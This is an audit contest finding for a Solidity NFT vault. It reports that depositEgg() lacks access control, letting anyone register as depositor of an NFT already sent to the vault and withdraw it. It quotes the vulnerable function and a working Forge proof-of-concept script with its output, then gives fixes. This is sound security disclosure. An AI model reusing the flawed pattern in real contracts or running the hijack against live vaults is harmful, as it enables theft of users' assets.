Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-3] depositEgg() Allows Unauthorized Depositor Assignment and NFT Theft

damokles062

Summary

This is a critical logic issue that allows unauthorized withdrawal of NFTs from the vault. It compromises user trust and directly enables asset theft.

The depositEgg() function in EggVault lacks access control, allowing any user to assign themselves as the depositor of any NFT already transferred to the vault. As a result, malicious actors can withdraw NFTs they do not own. This leads to critical asset theft by exploiting a logical flaw in the depositor-tracking mechanism.

Vulnerability Details

The function depositEgg(uint256 tokenId, address depositor) is market public and has no checks to ensure that the depositor address is valid or matches msg.sender. The only checks it performs are:

  • That the NFT is currently held by the vault.

  • That the egg has not already been marked as deposited.

Code:

function depositEgg(uint256 tokenId, address depositor) public {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}

If a user legitimately transfers an NFT to the vault, but doesn't call depositEgg() immediately, an attacker can observe the vault balance on-chain and front-run or follow-up with a call to depositEgg() using themselves as the depositor. This results in a situation where they can later call withdrawEgg() and withdraw an NFT they never owned.

Impact

This vulnerability enables the total loss of user NFTs by allowing any actor to arbitrarily assign themselves as the depositor of an NFT after it has been transferred to the vault. As a result, legitimate NFT owners are forced to fully trust that no one else will hijack their deposit in the interim. The contract's lack of access control on depositor assignment introduces a critical flaw that can be exploited repeatedly by attackers who monitor the vault and intercept or front-run deposits, effectively enabling them to steal NFTs.

Tools Used

  • Manual code review

  • Foundry + Anvil

  • Forge scripting for local proof of concept

Proof of Concept

I created a Forge script that simulates the attack locally using Foundry and Anvil. It demonstrates:

  • A victim mints and transfers the egg NFT to the vault

  • An attacker calls depositEgg() with their own address

  • The attacker then successfully withdraws the egg

Script: ExploitDeposit.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
​
import "forge-std/Script.sol";
import "forge-std/console2.sol";
import {EggVault} from "../src/EggVault.sol";
import {EggstravaganzaNFT} from "../src/EggstravaganzaNFT.sol";
​
contract ExploitDeposit is Script {
EggstravaganzaNFT public nft;
EggVault public vault;
​
function run() external {
// DO NOT use vm.startBroadcast() and vm.stopBroadcast() in simulation mode.
​
// Deploy contracts using the default sender (owner)
nft = new EggstravaganzaNFT("Egg", "EGG");
vault = new EggVault();
​
// Set the NFT contract in the vault
vault.setEggNFT(address(nft));
​
// Define victim and attacker addresses using vm.addr()
address victim = vm.addr(1);
address attacker = vm.addr(2);
​
// Set the game contract to the victim (authorized to mint)
nft.setGameContract(victim);
​
// Simulate victim minting an NFT
vm.prank(victim);
nft.mintEgg(victim, 1);
​
// Simulate victim transferring the NFT to the vault
vm.prank(victim);
nft.approve(address(vault), 1);
vm.prank(victim);
nft.transferFrom(victim, address(vault), 1);
​
// Verify the NFT is now owned by the vault
require(nft.ownerOf(1) == address(vault), "NFT transfer failed");
console2.log("NFT transferred to vault");
​
// Simulate the attacker hijacking the deposit:
// The attacker calls depositEgg() and falsely sets themselves as the depositor.
vm.prank(attacker);
vault.depositEgg(1, attacker);
console2.log("Attacker hijacked deposit for token 1");
​
// Simulate the attacker withdrawing the NFT.
vm.prank(attacker);
vault.withdrawEgg(1);
console2.log("Attacker successfully withdrew token 1");
​
// Verify the new owner is the attacker.
address newOwner = nft.ownerOf(1);
console2.log("New owner of token 1:", uint256(uint160(newOwner)));
}
}

Console Logs

NFT transferred to vault
Attacker hijacked deposit for token 1
Attacker successfully withdrew token 1
New owner of token 1: 247512291986854564435551364600938690683113101007

This proves the vulnerability is real and exploitable in a default configuration.

Recommendations

  1. Require msg.sender to equal depositor: require(msg.sender == depositor, "Sender must be depositor");

  2. Or, remove the depositor parameter and set: eggDepositors[tokenId] = msg.sender;

  3. Consider designing the contract to automatically handle approval and deposit in the same call, removing the two-step process which introduces this race condition.

Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.